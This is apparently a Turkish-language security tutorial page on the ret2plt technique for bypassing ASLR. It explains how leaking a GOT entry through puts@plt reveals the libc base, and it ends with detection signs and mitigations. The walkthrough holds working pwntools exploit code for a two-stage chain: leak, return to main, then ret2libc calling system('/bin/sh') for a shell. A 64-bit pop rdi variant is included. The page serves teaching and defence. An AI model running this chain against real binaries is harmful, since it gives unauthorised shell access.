ret2plt ASLR Bypass (GOT/PLT leak)¶
Bilinen bir PLT stub'ını (örn.
puts@plt) argümanı olarak bir libc fonksiyonunun GOT girdisiyle çağırarak o fonksiyonun canlı adresini yazdır; ikinci-aşama bir ret2libc'den önce library ASLR'ı atlat.
Mechanism¶
Neden çalışır
ASLR her koşuda libc base'ini rastgeleleştirir, dolayısıyla system'in
adresini hardcode edemezsin. Ama ASLR bilgi gizlemedir, izolasyon
değil: gerçek adres hâlâ process belleğinde mevcuttur — özellikle lazy
binding'in her resolve edilmiş libc symbol'ünü cache'lediği GOT
(Global Offset Table) içinde. Numara, programa senin için bir GOT
girdisini okutmaktır.
Invariant iki olguya dayanır. İlki, bir no-PIE binary'de .plt ve
.got.plt sabit adreslerde yaşar, dolayısıyla puts@plt ve puts@got
ELF'ten okuduğun sabitlerdir. İkincisi, PLT stub'ı sadece normal bir
call target'tır: puts@plt(arg), arg'taki string'i yazdırır. arg'ı
puts@got'a — libc'nin puts'unun runtime adresini tutan pointer
boyutunda bir hücreye — nişanla ve puts o ham byte'ları sadakatle
yazdırsın. Bilinen statik offset libc.sym['puts']'u çıkar ve libc
base'ine sahip olursun. ASLR tahmin ederek değil, programdan zaten
tuttuğu bir sabiti leak etmesini isteyerek atlatılır.
Bu iki-aşamalı bir exploit'tir: leak et, sonra asıl
ret2libc için aynı overflow'u tekrar kullanmak üzere
main'e dön.
Walkthrough¶
Yalnızca lab
Sahibi olduğun vulnerable bir binary kullan. Klasik hedef no-PIE,
NX-on, Partial RELRO, ASLR-on'dur — PIE ayrıca .plt adreslerini de
rastgeleleştirir ve ayrı bir binary-base leak'i gerektirir.
1. Triyaj:
$ checksec --file=./vuln
Arch: i386-32-little
RELRO: Partial RELRO <- GOT writable, but we only READ it here
NX: NX enabled
PIE: No PIE <- .plt / .got are at fixed addresses
2. Aşama bir — puts@plt üzerinden puts@got'u leak et, sonra
overflow ikinci kez erişilebilir olsun diye main'e dön:
from pwn import *
elf = ELF('./vuln')
p = process('./vuln')
offset = 112 # found via cyclic pattern
payload = b'A' * offset
payload += flat(
elf.plt['puts'], # call puts@plt(...)
elf.sym['main'], # ...and return to main afterward
elf.got['puts'], # arg1 = &puts@got -> prints libc puts addr
)
p.sendline(payload)
leak = u32(p.recv(4)) # 32-bit; use u64(p.recv(6).ljust(8,b'\0')) on x64
log.success(f'puts@libc = {leak:#x}')
x64 leak genişliği
Yukarıdaki p.recv(6), tipik bir Linux x86-64 libc adresinin 6 anlamlı
byte'a sığdığı (0x7f... prefix, üst 2 byte null) varsayımına dayanır —
çoğu ASLR konfigürasyonunda doğrudur ama garanti değildir. Daha robust
yol u64(p.recvline().strip().ljust(8, b'\0')) ile tam pointer'ı okuyup
trailing newline'ı temizlemektir.
3. libc base'ini leak'ten ve bilinen symbol offset'inden çöz:
libc = elf.libc # or ELF('/path/to/target/libc.so.6')
libc.address = leak - libc.sym['puts']
log.info(f'libc base = {libc.address:#x}')
4. Aşama iki — ret2libc, artık-bilinen adresleri kullanarak (yine
main'deyiz, dolayısıyla aynı overflow tekrar ateşlenir):
binsh = next(libc.search(b'/bin/sh\x00'))
payload = b'A' * offset
payload += flat(
libc.sym['system'],
0x0, # fake return address
binsh, # arg1 = "/bin/sh"
)
p.sendline(payload)
p.interactive() # => shell
64-bit bir versiyon neden bir pop rdi gadget'ı gerektirir
x86-64'te ilk argüman stack'e değil rdi'ye gider, dolayısıyla leak
aşaması şuna dönüşür:
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
payload = b'A' * offset
payload += flat(
pop_rdi, elf.got['puts'], # rdi = &puts@got
elf.plt['puts'], # puts(rdi)
elf.sym['main'], # return to main
)
pop rdi; ret
gadget'ı, 64-bit'te düz ret2libc'nin kullandığı aynı yapı
taşıdır.
Detection¶
- Bir oturumda neredeyse-aynı iki overflow input'u, ilki
puts@plt -> mainile biten, tanınabilir bir leak-sonra-pivot imzasıdır. - Leak edilmiş byte'lar program çıktısındaki ham bir libc pointer'ıdır — normalde metin yazdıran bir fonksiyon için anomaliktir.
Mitigation¶
- Full RELRO bu read'i durdurmaz (yalnızca GOT'u write'lara karşı
read-only yapar), ama PIE yardımcı olur: binary base'ini
rastgeleleştirir, böylece
puts@plt/puts@gotartık sabit değildir ve ek bir binary-leak adımını zorunlu kılar. Bkz. address-space-layout-randomization. - Altta yatan stack-buffer-overflow'u ortadan kaldır; bir stack-canary, chain çalışmadan önce overflow'u öldürür.